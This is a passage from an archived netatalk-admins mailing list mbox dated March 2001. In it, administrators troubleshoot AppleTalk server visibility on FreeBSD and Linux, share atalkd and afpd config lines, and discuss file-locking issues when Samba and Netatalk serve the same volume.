        supported media: autoselect 100baseTX <full-duplex> 100baseTX
10baseT/UTP <full-du
plex> 10baseT/UTP none
dc1: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        inet 192.168.100.1 netmask 0xffffff00 broadcast 192.168.100.255
        inet6 fe80::2c0:f0ff:fe56:8d51%dc1 prefixlen 64 scopeid 0x2
        ether 00:c0:f0:56:8d:51
        media: autoselect (10baseT/UTP) status: active
        supported media: autoselect 100baseTX <full-duplex> 100baseTX
10baseT/UTP <full-du
plex> 10baseT/UTP none

The only modifications I have made to anyof the conf files was to
AppleVolumes.system:
#
HOME
/usr/share/muzak "MUZAK"
#

Shouldn't my second NIC (dc1) have an atalk address bound to it since that's
what's connected to my MAC? I have tried changing atalkd.conf but it gets
over-ridden when I reboot.

I have read just about every file/doc/man on my system as well as most of
the links found on asun's site. Any help would be greatly appreciated!

Thanks,
- randy
=============================
r a n d y / sesser at mac.com


From netatalk.administrators-errors@umich.edu  Tue Mar  6 17:08:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA23626
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 17:08:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA29720
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 17:08:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA29699
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 17:08:52 -0500 (EST)
Received: from twismtpca1.twi.com ([205.173.143.35])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA29640
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 17:08:50 -0500 (EST)
Received: from 10.1.21.11 by twismtpca1.twi.com with ESMTP (WorldSecure
 Server SMTP Relay(WSS) v4.5); Tue, 06 Mar 2001 14:08:48 -0800
X-Server-Uuid: 171d688e-288d-11d2-8c62-00a0c99e5749
Received: by WBBUREXCN02 with Internet Mail Service (5.5.2650.21) id
 <GNK43FR2>; Tue, 6 Mar 2001 14:08:47 -0800
Message-ID: <7FFEE31F6CF3D211B6910004AC56F2E603E05F72@wbburexmb02.warnerbros.com>
From: "Campbell, Jacob" <Jacob.Campbell@warnerbros.com>
To: "'Daniel E. Lautenschleger'" <dan@www.molbio.wisc.edu>,
        "Netatalk Mailing List" <netatalk-admins@umich.edu>
Subject: RE: Samba and Netatalk
Date: Tue, 6 Mar 2001 14:08:42 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
X-WSS-ID: 16BB807A14966-01-01
Content-Type: text/plain; 
 charset=iso-8859-1
Content-Transfer-Encoding: 7bit

I have had no problems with doing it.  I replaced an old Novell Server about
1.5 to 2 years ago and I have had no troubles running SMB and Atalk.  It was
more stable, easier to administer, and not a single user noticed the change

-----Original Message-----
From: Daniel E. Lautenschleger [mailto:dan@www.molbio.wisc.edu]
Sent: Tuesday, March 06, 2001 1:57 PM
To: Netatalk Mailing List
Subject: Samba and Netatalk


Would anyone care to comment on experiences they've had sharing data out
on a volume that was accessed by Netatalk and Samba? Any glitches? No
problem, go ahead and do it, your nuts, dude..., etc...

Thanks. I have a dream that I can take one of our NT file servers and
replace it with a Linux/Samba/Netatalk box. What a fine realization that
would be...

Thanks.
-Dan



From netatalk.administrators-errors@umich.edu  Tue Mar  6 17:12:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA23882
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 17:12:30 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA05862
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 17:12:30 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA05839
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 17:12:29 -0500 (EST)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA05737
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 17:12:26 -0500 (EST)
Received: (qmail 20417 invoked by uid 500); 6 Mar 2001 22:12:20 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15013.24770.26168.382263@h0050da615e79.ne.mediaone.net>
Date: Tue, 6 Mar 2001 17:12:17 -0500
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: marco a <marc.angles1@fnac.net>
Cc: netatalk-admins@umich.edu
Subject: very [newbie]
In-Reply-To: <3AA40083.E5EA3AD7@fnac.net>
References: <3AA40083.E5EA3AD7@fnac.net>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: marco a <marc.angles1@fnac.net>
   Date: Mon, 05 Mar 2001 16:09:24 -0500

   what is the difference between atalkd and afpd

In a nutshell, atalkd uses AppleTalk (via DDP) protocol(s?), while afpd
uses AFPoverTCP (via TCP).

   i have problems to register my servers,
   here is my network

Looks a lot like mine (except my internal network is 192.168.1.X).
Here's what I've done on my RH 6.0 Linux PC to set up netatalk:

/etc/atalk/atalkd.conf:

    # [this should restrict the server to the internal network.  -- rgr,
    # 25-Jan-00.]
    eth1 -phase 2 -net 0-65534 -addr 65280.85

/etc/atalk/afpd.conf:

    # [i think this should restrict the server to the internal network.
    # -- rgr, 25-Jan-00.]  [added -noguest & -loginmesg.  -- rgr, 21-Feb-00.]
    - -address 192.168.1.1 -noguest -loginmesg "Welcome to Bob's Linux box!"

But I'm not actually using AppleTalk; the sole Mac on the network is
connected to an AppleTalk printer.

   [Another thing:  There has been some traffic on bugtraq recently
about how packets destined for private addresses, include the loopback
address at 127.0.0.1, may be accepted regardless of what interface they
came from.  This is enabled in most Unix OS installs by default.  So,
for safety's sake, you should be sure to tell your firewall to drop
packets addressed to 192.168.0.X if they come from eth0.]

   If this isn't enough to get you going, you'll need to say more about
your software configuration (OS, version, how you tried to start it, any
log messages . . . )

					-- Bob Rogers

From netatalk.administrators-errors@umich.edu  Tue Mar  6 17:17:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA24282
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 17:17:57 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA22010
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 17:17:50 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA21968
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 17:17:49 -0500 (EST)
Received: from spitfire.shacknet.nu (adsl-63-192-100-92.dsl.chic01.pacbell.net [63.192.100.92])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA21906
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 17:17:47 -0500 (EST)
Received: from [192.168.100.2] (digime [192.168.100.2])
	by spitfire.shacknet.nu (8.11.1/8.11.1) with ESMTP id f26MHpB00289
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 14:17:51 -0800 (PST)
	(envelope-from sesser@mac.com)
User-Agent: Microsoft-Entourage/9.0.2509
Date: Tue, 06 Mar 2001 14:18:32 -0800
Subject: Re: No server in chooser...newbie
From: r a n d y // <sesser@mac.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6CAA237.B44%sesser@mac.com>
In-Reply-To: <B6CA9DBC.B3D%sesser@mac.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

You know what...nevermind...I just switched around the cables and configs so
that PPPoE was working on dc1 and the MAC is now on dc0 and that solved my
problem....sorry to post this before trying that.

It's amazing what you can learn if you just pull your head out once in a
while :)

- randy

=============================
r a n d y / sesser at mac.com

> From: r a n d y // <sesser@mac.com>
> Date: Tue, 06 Mar 2001 13:59:24 -0800
> To: <netatalk-admins@umich.edu>
> Subject: No server in chooser...newbie
> 
> I know this has probably been addressed about a million times. I just
> subscribed to the list and have been looking through the archive but still
> can't find a definitive solution to my problem. I can connect to my server
> using the IP but nothing shows up in chooser when I select AppleShare.
> 
> Here's what I'm working with:
> FreeBSD 4.2-STABLE i386
> 2 10/100BT NIC (Kingston) dc0 & dc1
> dc0 is connected to the net via PPPoE
> dc1 is connected to the MAC
> 
> #> ifconfig -u
> dc0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
>       inet6 fe80::2c0:f0ff:fe5a:919a%dc0 prefixlen 64 scopeid 0x1
>       atalk 65280.223 range 65280-65534 phase 2 broadcast 0.255
>       ether 00:c0:f0:5a:91:9a
>       media: autoselect (10baseT/UTP) status: active
>       supported media: autoselect 100baseTX <full-duplex> 100baseTX
> 10baseT/UTP <full-du
> plex> 10baseT/UTP none
> dc1: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
>       inet 192.168.100.1 netmask 0xffffff00 broadcast 192.168.100.255
>       inet6 fe80::2c0:f0ff:fe56:8d51%dc1 prefixlen 64 scopeid 0x2
>       ether 00:c0:f0:56:8d:51
>       media: autoselect (10baseT/UTP) status: active
>       supported media: autoselect 100baseTX <full-duplex> 100baseTX
> 10baseT/UTP <full-du
> plex> 10baseT/UTP none
> 
> The only modifications I have made to anyof the conf files was to
> AppleVolumes.system:
> #
> HOME
> /usr/share/muzak "MUZAK"
> #
> 
> Shouldn't my second NIC (dc1) have an atalk address bound to it since that's
> what's connected to my MAC? I have tried changing atalkd.conf but it gets
> over-ridden when I reboot.
> 
> I have read just about every file/doc/man on my system as well as most of the
> links found on asun's site. Any help would be greatly appreciated!
> 
> Thanks,
> - randy
> =============================
> r a n d y / sesser at mac.com


From netatalk.administrators-errors@umich.edu  Tue Mar  6 17:18:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA24307
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 17:18:33 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA16308
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 17:18:33 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA16293
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 17:18:32 -0500 (EST)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id RAA16215
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 17:18:30 -0500 (EST)
Received: (qmail 20437 invoked by uid 500); 6 Mar 2001 22:18:27 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15013.25139.138560.62870@h0050da615e79.ne.mediaone.net>
Date: Tue, 6 Mar 2001 17:18:27 -0500
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: r a n d y // <sesser@mac.com>
Cc: <netatalk-admins@umich.edu>
Subject: No server in chooser...newbie
In-Reply-To: <B6CA9DBC.B3D%sesser@mac.com>
References: <B6CA9DBC.B3D%sesser@mac.com>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: r a n d y // <sesser@mac.com>
   Date: Tue, 06 Mar 2001 13:59:24 -0800

   Shouldn't my second NIC (dc1) have an atalk address bound to it since that's
   what's connected to my MAC? I have tried changing atalkd.conf but it gets
   over-ridden when I reboot.

Yes, that's definitely a problem, but I'm not at all familiar with *BSD
systems.  My other newbie response might help . . . and then again,
maybe not.

					-- Bob Rogers

From netatalk.administrators-errors@umich.edu  Tue Mar  6 17:56:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA25459
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 17:56:36 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA19457
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 17:56:36 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA19440
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 17:56:36 -0500 (EST)
Received: from dome.numbersixnetworks.com (cr853601-a.bloor1.on.wave.home.com [24.43.35.129])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA19395
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 17:56:34 -0500 (EST)
Received: from localhost (localhost [127.0.0.1])
  (uid 500)
  by dome.numbersixnetworks.com with local; Tue, 06 Mar 2001 17:56:01 -0500
Date: Tue, 6 Mar 2001 17:56:01 -0500
From: Richard Michael <rmichael@numbersixnetworks.com>
To: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
Cc: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: Samba and Netatalk
Message-ID: <20010306175601.H11134@guardian.numbersixnetworks.com>
References: <Pine.LNX.4.30.0103061551410.13021-100000@www.molbio.wisc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.30.0103061551410.13021-100000@www.molbio.wisc.edu>; from dan@www.molbio.wisc.edu on Tue, Mar 06, 2001 at 03:57:00PM -0600

* Daniel E. Lautenschleger <dan@www.molbio.wisc.edu> [010306 17:04]:
> Would anyone care to comment on experiences they've had sharing data out
> on a volume that was accessed by Netatalk and Samba? Any glitches? No
> problem, go ahead and do it, your nuts, dude..., etc...

I've been doing this for awhile.  I have a stable netatalk/samba server
at netatalk 1.4b2+asun.  No trouble; unless my users aren't telling me.
Read the mailing lists - there a --with-netatalk config time option (not
in the build docs that I could see, but it was covered on the mailing
list IIRC).  --with-netatalk is currently an experimental hack, if I
remember, it forces samba to move the .AppleDouble entries if a PC user
moves files around from the PC (so as not to pooch appleshare side
stuff).  Don't know how reliable it is, I only included that option on
the most recent server I config'd and it hasn't been tested thoroughly
yet.

Build it and try it out.

Otherwise, nope you're not crazy.  It's pretty nice.  Just be aware of
the filename issues and that Mac people should add the appropriate
suffix to files they expect to dclick on a PC.

Incidently, if --with-netatalk destroys something or is generally nasty,
let me know :)  There's too much traffic on the samba lists to subscribe
:)

Ciao.
Rich

From netatalk.administrators-errors@umich.edu  Tue Mar  6 18:01:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA25639
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 18:01:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA17640
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 18:01:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA17633
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 18:01:35 -0500 (EST)
Received: from dome.numbersixnetworks.com (cr853601-a.bloor1.on.wave.home.com [24.43.35.129])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA17617
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 18:01:34 -0500 (EST)
Received: from localhost (localhost [127.0.0.1])
  (uid 500)
  by dome.numbersixnetworks.com with local; Tue, 06 Mar 2001 18:01:01 -0500
Date: Tue, 6 Mar 2001 18:01:01 -0500
From: Richard Michael <rmichael@numbersixnetworks.com>
To: Walt Reed <walt@mail.terrascope.com.criticalpath.net>
Cc: netatalk-admins@umich.edu
Subject: Re: Bug? (not x-posted to devel): "/" in filename = "Type -50" error
Message-ID: <20010306180101.I11134@guardian.numbersixnetworks.com>
References: <B6CAF2BD.42F6%jasonq@mac.com> <p04320400b6caef46a9f9@[192.168.0.50]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <p04320400b6caef46a9f9@[192.168.0.50]>; from walt@mail.terrascope.com on Tue, Mar 06, 2001 at 11:50:55AM -0800

* Walt Reed <walt@mail.terrascope.com> [010306 14:48]:
> yes, i just tested this out on my redhat 7.0 box running 1.5pre3.  i 
> made a folder called one/two and a simpletext doc called 1/2.  both 
> copied to the share and had no errors, & did not create directories. 
> i was able to copy both back to the mac, no problems.  only tested 
> from the finder though...

Great, so according to all those who replied, there's no problem.  This
ought to be fun to track down.  Perhaps I can get the user to recreate
another file with the exact name string with the slashes ..  I think I
turned off extreme verbose debugging too.. ugh.

This was a file that was saved locally, copied to the appleshare volume,
then copied back (so there's _already_ a copied on the server, implying
.AppleDouble entries, for those keeping track), worked with, renamed
locally and copied back to the server.  As far as I can tell, this
should result in the creation of a new file with the slashes in the
name.

How about two slashes, did anyone test that? "DateFormat foo/bar/bar"

I guess I'll test it out next time I'm at the box, I sure hope I can
duplicate it - because sure as day, we could copy other files no
problem, one had the error (slashes), remove slashes, no problem.
Pretty clear.

Thanks all.
Rich

From netatalk.administrators-errors@umich.edu  Tue Mar  6 18:33:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA27223
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 18:33:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA22960
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 18:33:46 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA22910
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 18:33:44 -0500 (EST)
Received: from ltsc.ucsb.edu (ltsc.ucsb.edu [128.111.224.224])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA22864
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 18:33:43 -0500 (EST)
Received: from [192.168.0.1] ([63.194.57.46])
	by ltsc.ucsb.edu (8.9.3/8.9.3) with ESMTP id PAA26445
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 15:33:45 -0800
Date: Tue, 06 Mar 2001 15:33:14 -0800
From: David R Bosso <dbosso@ltsc.ucsb.edu>
To: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: Samba and Netatalk
Message-ID: <475243.3192881594@[192.168.0.1]>
In-Reply-To: <20010306175601.H11134@guardian.numbersixnetworks.com>
X-Mailer: Mulberry/2.0.3 (MacOS)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

--On Tuesday, March 6, 2001 5:56 PM -0500 Richard Michael 
<rmichael@numbersixnetworks.com> wrote:

> I've been doing this for awhile.  I have a stable netatalk/samba server
> at netatalk 1.4b2+asun.  No trouble; unless my users aren't telling me.
> Read the mailing lists - there a --with-netatalk config time option (not
> in the build docs that I could see, but it was covered on the mailing
> list IIRC).  --with-netatalk is currently an experimental hack, if I
> remember, it forces samba to move the .AppleDouble entries if a PC user
> moves files around from the PC (so as not to pooch appleshare side
> stuff).  Don't know how reliable it is, I only included that option on
> the most recent server I config'd and it hasn't been tested thoroughly
> yet.

I've been researching this for a while, and the biggest problem I've seen 
is incompatible locking.  Simultaneously opening a datafile from both a 
Samba connected PC and a Netatalk connected Mac can cause strange things to 
happen if they both try to modify the file.  There are no errors, and the 
file can easily be corrupted.

AFAIK the --with-netatalk in Samba does nothing.  Unless something has been 
changed recently, it was a feature that was never finished.

-David

From netatalk.administrators-errors@umich.edu  Tue Mar  6 18:40:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA27589
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 18:40:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA02895
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 18:40:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA02877
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 18:40:52 -0500 (EST)
Received: from femail3.sdc1.sfba.home.com (femail3.sdc1.sfba.home.com [24.0.95.83])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA02834
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 18:40:51 -0500 (EST)
Received: from cc416540c ([65.1.153.26]) by femail3.sdc1.sfba.home.com
          (InterMail vM.4.01.03.00 201-229-121) with SMTP
          id <20010306233845.WWP16762.femail3.sdc1.sfba.home.com@cc416540c>
          for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 15:38:45 -0800
From: "Thomas Priore" <tom@rupture.net>
To: <netatalk-admins@umich.edu>
Subject: Help PLS, only guest can log in.
Date: Tue, 6 Mar 2001 18:39:19 -0500
Message-ID: <BJEHJOBOINDBHAMFMOFAEEEECFAA.tom@rupture.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal

Hi, I install netatalk 1.5pre4 on redhat linux 7.0. (actually I install a
bunch of different versions, from rpm and compiling) The problem seems to be
that only guest can log on. From what I've read this seems to be a shadow
password problem, but I have no idea how to fix it. Can anyone help?

I have a second problem too, which is more of a nuisance, the sever doesn't
show up in the client's chooser, the ip has to be typed in. Is there a fix
for this?

Thanks.

Tom


From netatalk.administrators-errors@umich.edu  Tue Mar  6 18:46:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA27765
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 18:46:16 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA26582
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 18:46:16 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA26565
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 18:46:16 -0500 (EST)
Received: from dome.numbersixnetworks.com (cr853601-a.bloor1.on.wave.home.com [24.43.35.129])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA26532
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 18:46:14 -0500 (EST)
Received: from localhost (localhost [127.0.0.1])
  (uid 500)
  by dome.numbersixnetworks.com with local; Tue, 06 Mar 2001 18:45:41 -0500
Date: Tue, 6 Mar 2001 18:45:41 -0500
From: Richard Michael <rmichael@numbersixnetworks.com>
To: netatalk-admins@umich.edu
Subject: more on Type -50, "/"'s
Message-ID: <20010306184541.J11134@guardian.numbersixnetworks.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
User-Agent: Mutt/1.2.5i

It seems to work for most people.  I'll look at the details next time at
at the box and try to duplicate.  I think I compiled with the DEBUG
define ..

In the meantime, can someone point me to the mapping in the code for Mac
-> Unix chars?  I took a quick look at etc/afpd/file.c and directory.c,
but I would like an explanation of the code flow.

Can someone tell me what errs from the server side (e.g. the AFPERR set?)
will cause the mac to toss a -50?  I hope it's not indeterminable 
or that it's not too long a list.

Thanks.
Rich

From netatalk.administrators-errors@umich.edu  Tue Mar  6 19:20:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA28892
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 19:20:21 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA04651
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 19:20:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA04638
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 19:20:13 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id TAA04606
	for <netatalk-admins@umich.edu>; Tue, 6 Mar 2001 19:20:12 -0500 (EST)
Received: (qmail 1141 invoked by alias); 7 Mar 2001 00:20:22 -0000
Received: (qmail 1129 invoked by uid 0); 7 Mar 2001 00:20:21 -0000
Received: from comp10574.potsdam.edu (HELO potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 7 Mar 2001 00:20:21 -0000
Message-ID: <3AA57F62.C9348CF1@potsdam.edu>
Date: Tue, 06 Mar 2001 19:22:58 -0500
From: Matthew Keller <kellermg@potsdam.edu>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
CC: Netatalk Mailing List <netatalk-admins@umich.edu>
Subject: Re: Samba and Netatalk
References: <Pine.LNX.4.30.0103061551410.13021-100000@www.molbio.wisc.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Daniel E. Lautenschleger" wrote: 
> Would anyone care to comment on experiences they've had sharing data out
> on a volume that was accessed by Netatalk and Samba? Any glitches? No
> problem, go ahead and do it, your nuts, dude..., etc...

	Samba and Netatalk play completely wonderfully nice together... As long
as you don't want users from both platforms simultaneously being able to
access the same files, that is. There are severe locking issues (even
NT/2000 doesn't handle it all that great). But if you're doing something
like a Home Directory server (where, theoretically, no one will ever be
on two computers at the same time, let alone 2 computers of different
platforms at the same time) it works really really well. I've got
serveral very large Netatalk+Samba installations out there (clients),
and even a couple here @ the College.

-- 

 Matthew Keller
 Enterprise Systems Analyst
 Computing & Technology Services
 Information Services Division
 State University of New York at Potsdam
 
 Website: http://mattwork.potsdam.edu/
 PGP: http://mattwork.potsdam.edu/crypto/

From netatalk.administrators-errors@umich.edu  Tue Mar  6 20:23:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA01922
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 6 Mar 2001 20:23:22 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA24256
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 6 Mar 2001 20:23:21 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA24230
	for netatalk.administrators-members@umich.edu; Tue, 6 Mar 2001 20:23:21 -0500 (EST)
